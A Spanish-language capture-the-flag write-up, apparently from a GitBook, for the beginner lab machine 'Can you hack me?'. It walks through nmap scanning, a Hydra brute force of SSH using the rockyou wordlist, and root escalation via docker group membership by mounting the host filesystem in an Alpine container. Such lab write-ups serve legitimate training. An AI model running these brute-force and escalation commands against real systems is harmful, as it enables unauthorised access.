> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/can-you-hack-me.md).

# Can you hack me?

🔍 Dificultad: Principiante

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.53
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxL0sGkLogL77jW0lgD9n%2Fimage.png?alt=media&amp;token=f54f4c35-996f-4e36-abea-bc3de8649d18" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.53
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FegTw89R7NlhzyjKm6yf5%2Fimage.png?alt=media&amp;token=64913b57-24d4-46a8-8326-c32dfd7172bd" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,22,80,3306 -v 192.168.1.53
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEe1xVc7KxOw5iMwVCeoy%2Fimage.png?alt=media&amp;token=801bdb0a-9f28-42f6-8189-fce93cca05cb" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Antes que nada se añadió en el fichero `/etc/hosts` el dominio **canyouhackme.thl** con su correspondiente IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgQKhTfHLscAIvpqrFIhh%2Fimage.png?alt=media&amp;token=16a3a85e-3393-47ce-a382-26a80f0cb5a0" alt=""><figcaption></figcaption></figure>

Revisamos el código fuente y encontramos un mensaje relevante.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGNRMEuIfQpXmblyjOo5v%2Fimage.png?alt=media&amp;token=11f44ae4-acf0-43e1-a937-b9789368073a" alt=""><figcaption></figcaption></figure>

Descubrimos un posible nombre de usuario llamado **juan** por lo que realizaremos un ataque de fuerza para poder obtener una contraseña y así poder conectarnos como descubrimos al servicio **SSH**.

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l juan -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.53
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.53**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMGz30sJINYjDDCNNaG2g%2Fimage.png?alt=media&amp;token=230e849f-63ad-4cc4-8610-2acad9e5d00f" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **juan**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh juan@192.168.1.53
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FA5xMgURibOcgr9xTT4AF%2Fimage.png?alt=media&amp;token=513d2181-8879-42e1-859c-c9daa9d102e3" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar pero observamos que no podemos ejecutar sudo.

Listamos permisos **SUID** y **capabilities**, pero no tenemos nada que nos pueda ayudar.

```bash
find / -perm -4000 -user root 2>/dev/null -o -type f -exec getcap {} \; 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXf50v1iJ9AzQyPh3Fvby%2Fimage.png?alt=media&amp;token=05640678-52c7-45c8-949f-cbb42ce3bc2e" alt=""><figcaption></figcaption></figure>

Verificamos los grupos a los que pertenece el usuario y observamos que forma parte del grupo **Docker**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQVGfotWcx2C6WKozvHzh%2Fimage.png?alt=media&amp;token=31d6f15a-c251-47ae-95a4-75c5bf01285a" alt=""><figcaption></figcaption></figure>

Vamos a verificar si podemos aprovechar nuestra pertenencia al grupo **Docker**. Para más información, podemos consultar **HackTricks**, donde revisamos los detalles sobre Docker.

```bash
find / -name docker.sock 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK4F6E9mOCOMieaYh2jKU%2Fimage.png?alt=media&amp;token=8f11d169-2df5-426c-99ba-7040930074cb" alt=""><figcaption></figcaption></figure>

Listamos las imágenes y confirmamos que tenemos una llamada **Alpine**.

```bash
docker images
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBir0faYZFK7xfBB9xCIo%2Fimage.png?alt=media&amp;token=1a1621ea-5572-474b-b656-4cfb25342125" alt=""><figcaption></figcaption></figure>

Con esto, ahora podemos ejecutar la imagen montando en el host y utilizando **chroot** para obtener acceso como **root**.

```bash
docker run -it -v /:/host/ alpine chroot /host/ bash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ffx2hwTDwhURzIzBpUGWf%2Fimage.png?alt=media&amp;token=81f11fd3-bd7e-467a-a3ac-51d04b3b8a9e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvnMidy7jJMtVIYVP531Y%2Fimage.png?alt=media&amp;token=78725b21-7a63-4d7c-a35f-cb3c85130e2e" alt=""><figcaption></figcaption></figure>

Hemos finalizado con éxito **todas las etapas del proceso** y cumplido con todos los **requisitos**.&#x20;

¡Buena suerte en tu búsqueda de las **flags**! Recuerda prestar atención a cada detalle, examinar los archivos y servicios detenidamente, y utilizar todas las herramientas a tu alcance para encontrarlas. ¡La clave está en la perseverancia y en no dejar nada sin explorar! ¡Adelante, hacker! 💻🔍🚀
